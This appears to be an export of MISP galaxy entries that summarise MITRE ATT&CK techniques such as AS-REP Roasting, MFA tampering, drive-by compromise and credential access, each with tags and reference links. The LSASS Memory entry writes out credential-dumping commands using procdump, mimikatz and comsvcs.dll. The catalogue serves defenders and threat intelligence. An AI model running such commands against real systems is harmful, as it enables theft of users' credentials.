For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)

An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)

Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)

The tag is: misp-galaxy:mitre-attack-pattern="AS-REP Roasting - T1558.004"

### Table 5491. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/">http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/</a></td>
</tr>
<tr>
<td><a href="https://adsecurity.org/?p=2293">https://adsecurity.org/?p=2293</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1558/004">https://attack.mitre.org/techniques/T1558/004</a></td>
</tr>
<tr>
<td><a href="https://redsiege.com/kerberoast-slides">https://redsiege.com/kerberoast-slides</a></td>
</tr>
</tbody>
</table>

### Re-opened Applications - T1547.007

Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in". (Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named `<code>com.apple.loginwindow.[UUID].plist</code>` within the `<code>~/Library/Preferences/ByHost</code>` directory. (Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically
reopened upon the user’s next logon.

Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the `<code>com.apple.loginwindow.[UUID].plist</code>` file to execute payloads when a user logs in.

The tag is: *misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1547.007"

### Multi-Factor Authentication - T1556.006

Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.

Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality. (Citation: Mandiant APT42) (Citation: Azure AD Conditional Access Exclusions)

For example, modifying the Windows hosts file (`C:\windows\system32\drivers\etc\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a “fail open” policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022)

Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim’s network environment. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication - T1556.006"

### Table 5492. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1547/007">https://attack.mitre.org/techniques/T1547/007</a></td>
</tr>
<tr>
<td><a href="https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf">https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf</a></td>
</tr>
</tbody>
</table>

### Table 5493. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1556/006">https://attack.mitre.org/techniques/T1556/006</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion">https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-074a">https://www.cisa.gov/uscert/ncas/alerts/aa22-074a</a></td>
</tr>
</tbody>
</table>
Obtain/re-use payloads - T1346

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1346).

A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)

The tag is: misp-galaxy:mitre-attack-pattern="Obtain/re-use payloads - T1346"

Table 5494. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1346">https://attack.mitre.org/techniques/T1346</a></td>
</tr>
</tbody>
</table>

Multi-Stage Channels - T1104

Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.

The tag is: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104"

Table 5495. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1104">https://attack.mitre.org/techniques/T1104</a></td>
</tr>
</tbody>
</table>

DLL Side-Loading - T1073

Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries
may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)

Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.

The tag is: *misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073"

View relationships graph

DLL Side-Loading - T1073 has relationships with:


*Table 5496. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1073">https://attack.mitre.org/techniques/T1073</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/641.html">https://capec.mitre.org/data/definitions/641.html</a></td>
</tr>
</tbody>
</table>

**Command-Line Interface - T1605**

Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java's Runtime package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken.

If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.

The tag is: *misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1605"

View relationships graph

Command-Line Interface - T1605 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Unix Shell - T1623.001" with estimative-language:likelihood-probability="almost-certain"

*Table 5497. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1605">https://attack.mitre.org/techniques/T1605</a></td>
</tr>
</tbody>
</table>
Non-Standard Port - T1509

Adversaries may generate network traffic using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.

The tag is: `misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1509"`

Table 5498. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1509">https://attack.mitre.org/techniques/T1509</a></td>
</tr>
</tbody>
</table>

Re-opened Applications - T1164

Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at `<code>~/Library/Preferences/com.apple.loginwindow.plist</code>` and `<code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>`.

An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).

The tag is: `misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164"`

View relationships graph

Re-opened Applications - T1164 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1547.007"` with `estimative-language:likelihood-probability="almost-certain"

Table 5499. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1164">https://attack.mitre.org/techniques/T1164</a></td>
</tr>
</tbody>
</table>

Non-Standard Port - T1571

Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 (Citation: Symantec Elfin Mar 2019) or port 587 (Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings. (Citation: change_rdp_port_conti)

The tag is: **misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571"**

### Table 5500. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1571">https://attack.mitre.org/techniques/T1571</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/TheDFIRReport/status/1498657772254240768">https://twitter.com/TheDFIRReport/status/1498657772254240768</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage">https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage</a></td>
</tr>
</tbody>
</table>

#### SID-History Injection - T1178

The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

Adversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).

The tag is: **misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178"**

### View relationships graph

SID-History Injection - T1178 has relationships with:

- revoked-by: **misp-galaxy:mitre-attack-pattern="SID-History Injection - T1134.005"** with estimative-language:likelihood-probability="almost-certain"

### Table 5501. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=1772">https://adsecurity.org/?p=1772</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1178">https://attack.mitre.org/techniques/T1178</a></td>
</tr>
</tbody>
</table>
Multi-hop Proxy - T1188

To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.

The tag is: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188"

View relationships graph

Multi-hop Proxy - T1188 has relationships with:

• revoked-by: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

Table 5502. Table References

Links
https://attack.mitre.org/techniques/T1188

Drive-by Compromise - T1189

Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user’s web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).

Multiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:

• A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting
• Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary
• Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))
• Built-in web application interfaces are leveraged for the insertion of any other kind of object
that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)

Typical drive-by compromise process:

1. A user visits a website that is used to host the adversary controlled content.

2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
   - The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.

3. Upon finding a vulnerable version, exploit code is delivered to the browser.

4. If exploitation is successful, then it will give the adversary code execution on the user’s system unless other protections are in place.
   - In some cases a second visit to the website after the initial scan is required before exploit code is delivered.

Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.

Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189"

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/">http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1189">https://attack.mitre.org/techniques/T1189</a></td>
</tr>
</tbody>
</table>

**Pre-OS Boot - T1542**

Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system.
During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control. (Citation: Wikipedia Booting)

Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.

The tag is: misp-galaxy:mitre-attack-pattern="Pre-OS Boot - T1542"

Table 5504. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1542">https://attack.mitre.org/techniques/T1542</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Booting">https://en.wikipedia.org/wiki/Booting</a></td>
</tr>
</tbody>
</table>

**Drive-By Compromise - T1456**

Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring an [Application Access Token](https://attack.mitre.org/techniques/T1550/001).

Multiple ways of delivering exploit code to a browser exist, including:

- A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.
- Malicious ads are paid for and served through legitimate ad providers.
- Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Lookout-StealthMango)

Typical drive-by compromise process:

1. A user visits a website that is used to host the adversary controlled content.
2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
   - The user may be required to assist in this process by enabling scripting or active website
components and ignoring warning dialog boxes.

3. Upon finding a vulnerable version, exploit code is delivered to the browser.

4. If exploitation is successful, then it will give the adversary code execution on the user’s system unless other protections are in place.

   ◦ In some cases a second visit to the website after the initial scan is required before exploit code is delivered.

The tag is: misp-galaxy:mitre-attack-pattern="Drive-By Compromise - T1456"

Table 5505. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1456">https://attack.mitre.org/techniques/T1456</a></td>
</tr>
</tbody>
</table>

**Inter-Process Communication - T1559**

Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.

Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)

The tag is: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559"

Table 5506. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1559">https://attack.mitre.org/techniques/T1559</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html">https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html</a></td>
</tr>
<tr>
<td>&lt;a href=&quot;https://www.geeksforgeeks.org/inter-process-communication-ipc/&quot;&gt;text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them.&quot;&lt;/a&gt;<a href="https://www.geeksforgeeks.org/inter-process-communication-ipc/">https://www.geeksforgeeks.org/inter-process-communication-ipc/</a> &gt;text=Inter%2Dprocess%20communication%20(IPC)&lt;/a&gt;</td>
</tr>
</tbody>
</table>
Token Impersonation/Theft - T1134.001

Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.

An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.

When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.

The tag is: `misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001"`

Table 5507. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1134/001">https://attack.mitre.org/techniques/T1134/001</a></td>
</tr>
</tbody>
</table>

DNS/Passive DNS - T1596.001

Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target's subdomains, mail servers, and other hosts.

Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Threat actors can also target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: `misp-galaxy:mitre-attack-pattern="DNS/Passive DNS - T1596.001"`
**Junk Data - T1001.001**

Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.

The tag is: `misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001"`

**Traffic Duplication - T1020.001**

Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)

Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)

Many cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)

Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.
**LSASS Memory - T1003.001**

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

For example, on the target host use procdump:

- `<code>procdump -ma lsass.exe lsass_dump</code>`

Locally, mimikatz can be run using:

- `<code>sekurlsa::Minidump lsassdump.dmp</code>`
- `<code>sekurlsa::logonPasswords</code>`

Built-in Windows tools such as comsvcs.dll can also be used:

- `<code>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dump full</code>` (Citation: Volexity Exchange Marauder March 2021) (Citation: Symantec Attacks Against Government Sector)

Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user’s Domain password or smart card PINs. The SSP
configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. (Citation: Graeber 2014)

The following SSPs can be used to access credentials:

- **Msv**: Interactive logons, batch logons, and service logons are done through the MSV authentication package.

- **Wdigest**: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection)

- **Kerberos**: Preferred for mutual client-server domain authentication in Windows 2000 and later.

- **CredSSP**: Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: TechNet Blogs Credential Protection)

The tag is: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"`

**Table 5511. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1003/001">https://attack.mitre.org/techniques/T1003/001</a></td>
</tr>
<tr>
<td><a href="https://github.com/mattifestation/PowerSploit">https://github.com/mattifestation/PowerSploit</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/">https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/</a></td>
</tr>
</tbody>
</table>

**Protocol Impersonation - T1001.003**

Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.

Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity.

The tag is: `misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003"`
**Internal Proxy - T1090.001**

Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.

By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.

The tag is: `misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001"`

**External Proxy - T1090.002**

Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.

External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward
communications to the C2 server.

The tag is: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002"

### LSA Secrets - T1003.004

Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at `<code>HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets</code>`. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)

[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)

The tag is: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004"

### Proc Filesystem - T1003.007

Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process's virtual address space. And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process's virtual address space.(Citation: Picus Labs Proc cump 2022)
When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns that are indicative of credentials, such as looking for fixed strings in memory structures or cached hashes. When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)

If running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.

The tag is: `misp-galaxy:mitre-attack-pattern="Proc Filesystem - T1003.007"`

**Table 5516. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1003/007">https://attack.mitre.org/techniques/T1003/007</a></td>
